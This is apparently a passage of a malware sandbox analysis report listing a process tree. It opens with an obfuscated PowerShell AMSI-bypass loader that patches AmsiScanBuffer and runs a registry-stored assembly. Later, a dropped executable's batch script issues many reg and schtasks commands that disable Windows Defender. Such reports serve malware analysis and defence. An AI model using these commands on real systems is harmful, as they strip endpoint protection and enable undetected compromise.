$_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+''+[Char](115)+''+[Char](116)+''+'e'+'m'+[Char](46)+''+[Char](100)+''+'l'+''+[Char](108)+'')}).GetType('M'+[Char](105)+''+[Char](99)+'r'+'o'+''+[Char](115)+''+'o'+''+'f'+''+[Char](116)+''+'.'+'W'+[Char](105)+''+[Char](110)+'32'+'.'+''+[Char](85)+''+[Char](110)+'s'+'a'+'f'+'e'+''+'N'+'a'+'t'+''+[Char](105)+'ve'+[Char](77)+'e'+'t'+''+[Char](104)+''+[Char](111)+''+[Char](100)+''+'s'+'');$eDapbBqSsWpopy=$YbVrFddmunilR.GetMethod(''+[Char](71)+'e'+[Char](116)+''+[Char](80)+''+[Char](114)+'ocA'+'d'+''+[Char](100)+''+'r'+''+[Char](101)+''+[Char](115)+''+'s'+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+'b'+'l'+''+'i'+''+'c'+','+'S'+'ta'+[Char](116)+''+'i'+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$jzzcayfWDFlbzGQhGCZ=sxIbYEkIryFL @([String])([IntPtr]);$OYqdmuEHdrULFIFEhGtAgF=sxIbYEkIryFL @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$vwmSWCEZetY=$YbVrFddmunilR.GetMethod(''+[Char](71)+''+[Char](101)+'tM'+[Char](111)+''+'d'+'u'+[Char](108)+''+[Char](101)+'Ha'+'n'+''+[Char](100)+''+'l'+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+'rn'+[Char](101)+''+[Char](108)+'3'+[Char](50)+''+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'')));$fbWpjOnnFfWlHP=$eDapbBqSsWpopy.Invoke($Null,@([Object]$vwmSWCEZetY,[Object](''+[Char](76)+''+[Char](111)+'ad'+[Char](76)+''+[Char](105)+''+'b'+''+[Char](114)+''+'a'+''+[Char](114)+''+[Char](121)+'A')));$RhRuguzQFvOXFhtBy=$eDapbBqSsWpopy.Invoke($Null,@([Object]$vwmSWCEZetY,[Object](''+[Char](86)+''+[Char](105)+'r'+[Char](116)+'ua'+[Char](108)+''+[Char](80)+''+[Char](114)+'ot'+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$JUgLKQw=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($fbWpjOnnFfWlHP,$jzzcayfWDFlbzGQhGCZ).Invoke(''+[Char](97)+''+[Char](109)+'si'+[Char](46)+'d'+[Char](108)+''+'l'+'');$opPTJSmPXrmNtfOvK=$eDapbBqSsWpopy.Invoke($Null,@([Object]$JUgLKQw,[Object](''+'A'+''+[Char](109)+''+[Char](115)+'i'+[Char](83)+''+[Char](99)+'an'+[Char](66)+'u'+'f'+''+'f'+''+[Char](101)+''+[Char](114)+'')));$mQjKHcGOGW=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RhRuguzQFvOXFhtBy,$OYqdmuEHdrULFIFEhGtAgF).Invoke($opPTJSmPXrmNtfOvK,[uint32]8,4,[ref]$mQjKHcGOGW);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$opPTJSmPXrmNtfOvK,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RhRuguzQFvOXFhtBy,$OYqdmuEHdrULFIFEhGtAgF).Invoke($opPTJSmPXrmNtfOvK,[uint32]8,0x20,[ref]$mQjKHcGOGW);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+'OFT'+[Char](87)+''+'A'+''+[Char](82)+'E').GetValue(''+'d'+''+[Char](105)+'a'+'l'+''+'e'+''+[Char](114)+''+[Char](115)+'t'+[Char](97)+''+'g'+''+'e'+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  PID:5376
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4820

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1184

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
1⤵
PID:1316

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1368

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1392

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1460

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1488

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1600
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2192

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1716

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1748

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1780

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1856

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1900

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1964

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1692

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1768

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:1808

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2108

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2172

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2224

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2272

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2376

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2536

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2652

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2660

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
PID:2800

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2832

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2840

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2864

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2696

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:780

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3196

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3268
- C:\Users\Admin\AppData\Local\Temp\_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe
  "C:\Users\Admin\AppData\Local\Temp\_86653aa52d0a573c4f555b93efc1935c1c6e807397a95300517f1ef7c004c624.exe"
  2⤵
  - Downloads MZ/PE file
  - Accesses Microsoft Outlook profiles
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  - outlook_office_path
  - outlook_win_path
  PID:612
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --profile-directory="Default"
    3⤵
    - Enumerates system info in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:1872
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffa558fc728,0x7ffa558fc734,0x7ffa558fc740
      4⤵
      PID:5844
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1736,i,5621791000615319130,7350218630011955961,262144 --field-trial-handle=1924,i,14314246687533813940,1181626679501785097,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=1920 /prefetch:2
      4⤵
      PID:5036
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1592,i,3691747691071457855,6644192127671635732,524288 --field-trial-handle=1924,i,14314246687533813940,1181626679501785097,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2296 /prefetch:3
      4⤵
      System Time Discovery
      PID:5784
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2368,i,7402328688446206979,7581633644000535286,524288 --field-trial-handle=1924,i,14314246687533813940,1181626679501785097,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2536 /prefetch:8
      4⤵
      PID:2160
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3236,i,7171032119060288122,3867937486032371065,2097152 --field-trial-handle=1924,i,14314246687533813940,1181626679501785097,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3240 /prefetch:1
      4⤵
      PID:1676
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3260,i,16777769358050169323,16184935838467967207,2097152 --field-trial-handle=1924,i,14314246687533813940,1181626679501785097,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3288 /prefetch:1
      4⤵
      PID:3836
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4212,i,8156447859647518416,5516481869058747527,2097152 --field-trial-handle=1924,i,14314246687533813940,1181626679501785097,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4256 /prefetch:2
      4⤵
      PID:2768
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4636,i,11646598135311673948,10033738623687242127,2097152 --field-trial-handle=1924,i,14314246687533813940,1181626679501785097,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4588 /prefetch:1
      4⤵
      PID:4360
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory="Default"
    3⤵
    - Enumerates system info in registry
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:2544
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2c4,0x2c8,0x2cc,0x2c0,0x2ec,0x7ffa5561c188,0x7ffa5561c194,0x7ffa5561c1a0
      4⤵
      PID:4352
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1920,i,10094778285269386452,11001450621055315161,262144 --field-trial-handle=2288,i,12366625835279508131,853355606564919563,262144 --variations-seed-version --mojo-platform-channel-handle=2284 /prefetch:2
      4⤵
      PID:1272
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2012,i,15249232792010380750,11259114890823854373,524288 --field-trial-handle=2288,i,12366625835279508131,853355606564919563,262144 --variations-seed-version --mojo-platform-channel-handle=2356 /prefetch:3
      4⤵
      System Time Discovery
      PID:2444
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2580,i,9299474769753614447,4172232514391169322,524288 --field-trial-handle=2288,i,12366625835279508131,853355606564919563,262144 --variations-seed-version --mojo-platform-channel-handle=2608 /prefetch:8
      4⤵
      PID:3528
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3456,i,14323527909471282657,15275108992308482763,2097152 --field-trial-handle=2288,i,12366625835279508131,853355606564919563,262144 --variations-seed-version --mojo-platform-channel-handle=3488 /prefetch:1
      4⤵
      PID:4560
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3480,i,10529641450922766967,10327772488196742282,2097152 --field-trial-handle=2288,i,12366625835279508131,853355606564919563,262144 --variations-seed-version --mojo-platform-channel-handle=3504 /prefetch:1
      4⤵
      PID:4540
- - C:\Windows\SYSTEM32\cmd.exe
    cmd /c start "" "C:\Users\Admin\AppData\Local\Temp\lGMhUOXJpE.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5188
  - - C:\Users\Admin\AppData\Local\Temp\lGMhUOXJpE.exe
      "C:\Users\Admin\AppData\Local\Temp\lGMhUOXJpE.exe"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Checks whether UAC is enabled
      Suspicious use of NtSetInformationThreadHideFromDebugger
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4156
    - - C:\ProgramData\Chrome146\Chrome145.exe
        
        "C:\ProgramData\Chrome146\Chrome145.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        Drops file in Program Files directory
        System Location Discovery: System Language Discovery
        Suspicious behavior: AddClipboardFormatListener
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1608
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\rAgoia51W\LXQFe7\1.bat"
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3928
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        7⤵
        
        PID:4412
        
        C:\Windows\SysWOW64\reg.exe
        
        reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:6032
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "AllowFastServiceStartup" /t REG_DWORD /d "0" /f
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:5544
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
        7⤵
        Modifies Windows Defender DisableAntiSpyware settings
        System Location Discovery: System Language Discovery
        
        PID:5972
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:3808
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableLocalAdminMerge" /t REG_DWORD /d "1" /f
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:5496
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableSpecialRunningModes" /t REG_DWORD /d "1" /f
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:516
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "ServiceKeepAlive" /t REG_DWORD /d "0" /f
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:5272
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:676
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
        7⤵
        Modifies Windows Defender Real-time Protection settings
        System Location Discovery: System Language Discovery
        
        PID:712
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIntrusionPreventionSystem" /t REG_DWORD /d "1" /f
        7⤵
        Modifies Windows Defender Real-time Protection settings
        System Location Discovery: System Language Discovery
        
        PID:4120
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
        7⤵
        Modifies Windows Defender Real-time Protection settings
        System Location Discovery: System Language Discovery
        
        PID:3780
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
        7⤵
        Modifies Windows Defender Real-time Protection settings
        System Location Discovery: System Language Discovery
        
        PID:3924
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRawWriteNotification" /t REG_DWORD /d "1" /f
        7⤵
        Modifies Windows Defender Real-time Protection settings
        System Location Discovery: System Language Discovery
        
        PID:820
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
        7⤵
        Modifies Windows Defender Real-time Protection settings
        System Location Discovery: System Language Discovery
        
        PID:3020
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRoutinelyTakingAction" /t REG_DWORD /d "1" /f
        7⤵
        Modifies Windows Defender Real-time Protection settings
        System Location Discovery: System Language Discovery
        
        PID:4052
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
        7⤵
        Modifies Windows Defender Real-time Protection settings
        System Location Discovery: System Language Discovery
        
        PID:2412
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "LocalSettingOverrideDisableBehaviorMonitoring" /t REG_DWORD /d "0" /f
        7⤵
        Modifies Windows Defender Real-time Protection settings
        System Location Discovery: System Language Discovery
        
        PID:1244
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "LocalSettingOverrideDisableIntrusionPreventionSystem" /t REG_DWORD /d "0" /f
        7⤵
        Modifies Windows Defender Real-time Protection settings
        System Location Discovery: System Language Discovery
        
        PID:4660
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "LocalSettingOverrideDisableIOAVProtection" /t REG_DWORD /d "0" /f
        7⤵
        Modifies Windows Defender Real-time Protection settings
        System Location Discovery: System Language Discovery
        
        PID:5664
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "LocalSettingOverrideDisableOnAccessProtection" /t REG_DWORD /d "0" /f
        7⤵
        Modifies Windows Defender Real-time Protection settings
        System Location Discovery: System Language Discovery
        
        PID:432
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "LocalSettingOverrideDisableRealtimeMonitoring" /t REG_DWORD /d "0" /f
        7⤵
        Modifies Windows Defender Real-time Protection settings
        System Location Discovery: System Language Discovery
        
        PID:2624
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "LocalSettingOverrideRealtimeScanDirection" /t REG_DWORD /d "0" /f
        7⤵
        Modifies Windows Defender Real-time Protection settings
        System Location Discovery: System Language Discovery
        
        PID:3752
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:4576
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:1508
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:1828
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:3076
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:5196
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:5952
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:1072
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:3956
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:1276
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:5008
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:4904
        
        C:\Windows\SysWOW64\reg.exe
        
        reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:3748
        
        C:\Windows\SysWOW64\reg.exe
        
        reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:5748
        
        C:\Windows\SysWOW64\reg.exe
        
        reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:2560
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\System\CurrentControlSet\Services\MDCoreSvc" /v "Start" /t REG_DWORD /d "4" /f
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:5564
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
        7⤵
        Modifies Security services
        System Location Discovery: System Language Discovery
        
        PID:5912
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
        7⤵
        Modifies Security services
        System Location Discovery: System Language Discovery
        
        PID:2000
        
        C:\Windows\SysWOW64\reg.exe
        
